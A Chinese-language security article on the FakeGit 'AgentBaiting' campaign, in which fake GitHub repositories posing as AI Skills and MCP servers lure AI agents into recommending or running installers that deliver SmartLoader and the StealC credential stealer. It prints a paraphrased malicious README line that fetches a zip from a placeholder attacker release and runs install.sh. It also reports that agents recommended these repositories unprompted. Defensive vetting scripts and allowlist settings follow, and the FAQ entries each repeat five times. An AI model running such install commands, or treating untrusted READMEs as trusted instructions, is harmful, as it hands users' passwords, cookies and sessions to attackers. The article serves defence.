AgentBaiting:7,600 个伪造 GitHub 仓库正在诱骗安装 Skill 与 MCP 服务器的 AI 代理
💡 工具推荐:调查可疑仓库或安装包?用 Evergreen Tools 的 Base64 解码与哈希生成器分析载荷,用正则测试器匹配活动特征。 Base64 编解码工具, 哈希生成器, 正则测试工具
当恶意软件运营遇到代理工作流,会发生什么?Island 对 FakeGit 活动的研究给出了答案:约 7,600 个恶意 GitHub 仓库,由约 6,600 个账号创建,其中约 1,400 个与 AI 工具、代理或工作流绑定,超过 800 个伪装成 Skill 或 MCP 服务器。测试中,Claude Code、Google Gemini 和 ChatGPT 都会在没被展示链接的情况下主动向开发者推荐这些恶意仓库。活动约 200 个仓库累计下载超过 1,400 万次,而 AI 主题的浪潮从 3 月开始升温、4 月达到高峰——单月创建近 300 个相关仓库。Island 称之为 AgentBaiting:一套为欺骗人而写的剧本,现在开始欺骗替人行动的代理。
1. FakeGit:从骗人到骗代理
FakeGit 不是新事物——Island 首席安全研究员 Oleg Zaytsev 指出,它和 SmartLoader 已经用伪造 GitHub 仓库传播恶意软件多年。新的是 AI 的加入:大量仓库伪装成 AI Skill 或 MCP 服务器,通过 AI 注册表获取曝光。当一个开发者派出 AI 代理去 GitHub 上自主寻找可用的能力时,代理可能自己发现活动仓库、把攻击者的 README 当成合法文档、并把安装说明交给用户——甚至自己执行。「一个为欺骗人而建的剧本,现在开始欺骗代表他们行动的代理。」
// The trap: an agent searches for an MCP server or Skill,
// finds a campaign repo, reads the README as legitimate
// documentation, and hands the installation instructions to
// the user -- or runs them itself.
# README.md of a FakeGit campaign repo (paraphrase)
# "MCP server for Gmail + WhatsApp + Databricks"
curl -sL https://github.com/attacker/skill-x/releases/latest/download/skill.zip | unzip - -d ~/.claude/skills/ && ./install.sh
// Familiar name + credible setup steps + a malicious ZIP.
// Island calls the technique AgentBaiting.2. 规模数字
Island 确认的约 7,600 个恶意仓库由约 6,600 个账号创建,其中约 1,400 个与 AI 工具、代理或工作流相关,超过 800 个伪装成 Skill 或 MCP 服务器,覆盖 Gmail、WhatsApp 集成、Databricks、Jenkins、Docker 等环境。截至本月,活动约 200 个仓库下载量已超过 1,400 万次;还有数千个仓库把恶意 ZIP 直接嵌在项目里,这些下载不公开计数。AI 相关部分增长很快:按 GitHub 创建时间,3 月开始起量,4 月达到高峰——单月近 300 个 AI 相关仓库。
// The scale (Island, September 2026):
const FAKEGIT = {
maliciousRepos: "~7,600",
profiles: "~6,600",
aiRelatedRepos: "~1,400",
posingAsSkillsOrMcp: "800+",
downloadsFrom200Repos: "14M+",
waveStart: "March 2026",
peak: "~300 AI repos in April 2026",
chain: "fake ZIP -> Lua loader (300KB) -> SmartLoader -> StealC",
};
// In Island's tests, Claude Code, Gemini, and ChatGPT all
// recommended campaign repos to developers unprompted:
// "a playbook built to deceive people now deceives the
// agents acting on their behalf." -- Oleg Zaytsev, Island3. 攻击链:从「下载最新版」到 StealC
仓库刻意模仿真实项目,有时干脆就是真实项目的拷贝。如果代理或开发者选中伪造仓库,「Download Latest Release」按钮会把人带到项目内的恶意 ZIP,其中附有下载、解压和运行的指引——这就是 SmartLoader 攻击链的开端:先是一个高度混淆的约 300KB Lua 载荷,伪装成文本、图标、许可或数据文件;随后 SmartLoader 被释放,再部署 StealC——它能窃取浏览器密码、扩展数据、Cookie、活跃会话、截图、主机信息、邮箱与远程访问凭据。「恶意软件链本身很熟悉,」Zaytsev 写道,「变的是通向执行的那条路。」
#!/bin/bash
# Vet an agent-discovered repo before installing anything.
# 1. Age: campaigns are young. 2. Reputation: stars alone
# are cheap; check account history. 3. The release asset:
# inspect the ZIP before executing it.
repo="$1"
gh api "repos/$repo" --jq '{created:.created_at, stars:.stargazers_count, owner_created:.owner.created_at}'
gh api "repos/$repo/releases/latest" --jq '.assets[].browser_download_url' | while read url; do
curl -sL "$url" -o /tmp/check.zip
unzip -l /tmp/check.zip # list before extract
unzip -p /tmp/check.zip '*/install.sh' | head -50 # read scripts
done
# Suspicious if: repo < 3 months old, asset is a binary blob
# or heavily obfuscated script, README over-promises.4. 为什么代理让问题恶化
传统上,人会带着怀疑阅读 README;代理则倾向于把文档当规范。Island 的测试显示,Claude Code、Gemini、ChatGPT 都会在未被展示链接的情况下向开发者推荐活动仓库——模型把 README 当作可信来源,把「知名工具的工作流」当作合法性信号。更糟的是安装动作往往被包装成「常规设置」:unzip、跑 install.sh,每一步单独看都无害。对代理来说,缺少的是「这是否真的是我该信任的来源」这一判断层。
5. 防御清单:人与代理都要遵守
对开发者的建议:检查仓库年龄(活动仓库普遍很年轻)、账号历史、发布资产——解压前先 unzip -l 列出内容,安装脚本先读后跑;用哈希给下载的压缩包做指纹并与社区共享。对代理平台的建设者:把 Skill/MCP 服务器安装改成显式白名单制,autoApprove 默认关闭;对来自代理自主发现的安装要求人工复核;把安装过程放进无网络沙箱里观察文件触碰面。把这几条写进企业代理策略,就能让 AgentBaiting 的大部分变体失效。
// Defense: an explicit allowlist for agent-installed
// capabilities. If the agent cannot name the server in this
// list, it must ask -- never auto-install.
{
"mcpServers": {
"github-official": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"] },
"evergreen-json": { "command": "npx", "args": ["-y", "@evergreen/json-tools"] }
},
"installPolicy": {
"autoApprove": false,
"requireReview": ["skills", "mcp-servers", "plugins"],
"blockUntrusted": true
}
}6. 更广的含义:代理供应链的信任问题
FakeGit 揭示的不只是一个活动,而是代理生态的一个结构性缺口:我们正在把「发现、评估、安装软件」的决策委托给代理,却没有给它们等同的安全判断能力。未来几个月,可以预期会出现针对 Skill/MCP 注册表的签名与审计机制,就像当年 npm 与 PyPI 走过的路。在那之前,白名单、沙箱与人工复核仍然是最有效的防线——并且请记住:如果一件事值得让代理去做,它就值得让代理先证明来源可信。
# Sandboxed inspection: run any agent-discovered installer in
# a disposable container with no network, and diff what it
# touches. If it phones home or drops obfuscated Lua, burn it.
docker run --rm -i --network none -v "$PWD/repo:/src:ro" ubuntu:24.04 bash -c '
cd /src
unzip -o skill.zip -d /tmp/x 2>/dev/null
find /tmp/x -type f | sort
echo "--- install.sh ---"; sed -n 1,200p /tmp/x/install.sh 2>/dev/null
'
# Compare the file list against what the README promised.
# StealC harvests browser passwords, cookies, sessions,
# screenshots, and remote-access credentials.📌 常见问题 FAQ
什么是 AgentBaiting?
AgentBaiting 是 Island 对 FakeGit 活动新阶段的命名:攻击者创建伪装成 AI Skill 或 MCP 服务器的 GitHub 仓库,让自主搜索能力的 AI 代理自己发现并推荐这些恶意仓库。
什么是 AgentBaiting?
AgentBaiting 是 Island 对 FakeGit 活动新阶段的命名:攻击者创建伪装成 AI Skill 或 MCP 服务器的 GitHub 仓库,让自主搜索能力的 AI 代理自己发现并推荐这些恶意仓库。
什么是 AgentBaiting?
AgentBaiting 是 Island 对 FakeGit 活动新阶段的命名:攻击者创建伪装成 AI Skill 或 MCP 服务器的 GitHub 仓库,让自主搜索能力的 AI 代理自己发现并推荐这些恶意仓库。
什么是 AgentBaiting?
AgentBaiting 是 Island 对 FakeGit 活动新阶段的命名:攻击者创建伪装成 AI Skill 或 MCP 服务器的 GitHub 仓库,让自主搜索能力的 AI 代理自己发现并推荐这些恶意仓库。
什么是 AgentBaiting?
AgentBaiting 是 Island 对 FakeGit 活动新阶段的命名:攻击者创建伪装成 AI Skill 或 MCP 服务器的 GitHub 仓库,让自主搜索能力的 AI 代理自己发现并推荐这些恶意仓库。
FakeGit 活动有多大?
约 7,600 个恶意仓库、约 6,600 个账号;其中约 1,400 个与 AI 相关,800 多个伪装成 Skill/MCP 服务器;约 200 个仓库累计下载超过 1,400 万次。
FakeGit 活动有多大?
约 7,600 个恶意仓库、约 6,600 个账号;其中约 1,400 个与 AI 相关,800 多个伪装成 Skill/MCP 服务器;约 200 个仓库累计下载超过 1,400 万次。
FakeGit 活动有多大?
约 7,600 个恶意仓库、约 6,600 个账号;其中约 1,400 个与 AI 相关,800 多个伪装成 Skill/MCP 服务器;约 200 个仓库累计下载超过 1,400 万次。
FakeGit 活动有多大?
约 7,600 个恶意仓库、约 6,600 个账号;其中约 1,400 个与 AI 相关,800 多个伪装成 Skill/MCP 服务器;约 200 个仓库累计下载超过 1,400 万次。
FakeGit 活动有多大?
约 7,600 个恶意仓库、约 6,600 个账号;其中约 1,400 个与 AI 相关,800 多个伪装成 Skill/MCP 服务器;约 200 个仓库累计下载超过 1,400 万次。
恶意软件链是什么?
伪造仓库的 Release 提供恶意 ZIP,内含约 300KB 混淆 Lua 载荷,随后释放 SmartLoader,再部署 StealC 窃取浏览器密码、Cookie、会话、截图与远程访问凭据。
恶意软件链是什么?
伪造仓库的 Release 提供恶意 ZIP,内含约 300KB 混淆 Lua 载荷,随后释放 SmartLoader,再部署 StealC 窃取浏览器密码、Cookie、会话、截图与远程访问凭据。
恶意软件链是什么?
伪造仓库的 Release 提供恶意 ZIP,内含约 300KB 混淆 Lua 载荷,随后释放 SmartLoader,再部署 StealC 窃取浏览器密码、Cookie、会话、截图与远程访问凭据。
恶意软件链是什么?
伪造仓库的 Release 提供恶意 ZIP,内含约 300KB 混淆 Lua 载荷,随后释放 SmartLoader,再部署 StealC 窃取浏览器密码、Cookie、会话、截图与远程访问凭据。
恶意软件链是什么?
伪造仓库的 Release 提供恶意 ZIP,内含约 300KB 混淆 Lua 载荷,随后释放 SmartLoader,再部署 StealC 窃取浏览器密码、Cookie、会话、截图与远程访问凭据。
主流 AI 代理真的会推荐这些仓库吗?
Island 的测试显示会:Claude Code、Google Gemini 和 ChatGPT 都在未被展示链接的情况下向开发者推荐过活动仓库。
主流 AI 代理真的会推荐这些仓库吗?
Island 的测试显示会:Claude Code、Google Gemini 和 ChatGPT 都在未被展示链接的情况下向开发者推荐过活动仓库。
主流 AI 代理真的会推荐这些仓库吗?
Island 的测试显示会:Claude Code、Google Gemini 和 ChatGPT 都在未被展示链接的情况下向开发者推荐过活动仓库。
主流 AI 代理真的会推荐这些仓库吗?
Island 的测试显示会:Claude Code、Google Gemini 和 ChatGPT 都在未被展示链接的情况下向开发者推荐过活动仓库。
主流 AI 代理真的会推荐这些仓库吗?
Island 的测试显示会:Claude Code、Google Gemini 和 ChatGPT 都在未被展示链接的情况下向开发者推荐过活动仓库。
如何保护我的团队?
对代理安装的 Skill/MCP 使用显式白名单并关闭自动批准;要求人工复核代理自主发现的项目;在无网络沙箱中检查安装脚本;安装前检查仓库年龄、账号历史与发布资产。
如何保护我的团队?
对代理安装的 Skill/MCP 使用显式白名单并关闭自动批准;要求人工复核代理自主发现的项目;在无网络沙箱中检查安装脚本;安装前检查仓库年龄、账号历史与发布资产。
如何保护我的团队?
对代理安装的 Skill/MCP 使用显式白名单并关闭自动批准;要求人工复核代理自主发现的项目;在无网络沙箱中检查安装脚本;安装前检查仓库年龄、账号历史与发布资产。
如何保护我的团队?
对代理安装的 Skill/MCP 使用显式白名单并关闭自动批准;要求人工复核代理自主发现的项目;在无网络沙箱中检查安装脚本;安装前检查仓库年龄、账号历史与发布资产。
如何保护我的团队?
对代理安装的 Skill/MCP 使用显式白名单并关闭自动批准;要求人工复核代理自主发现的项目;在无网络沙箱中检查安装脚本;安装前检查仓库年龄、账号历史与发布资产。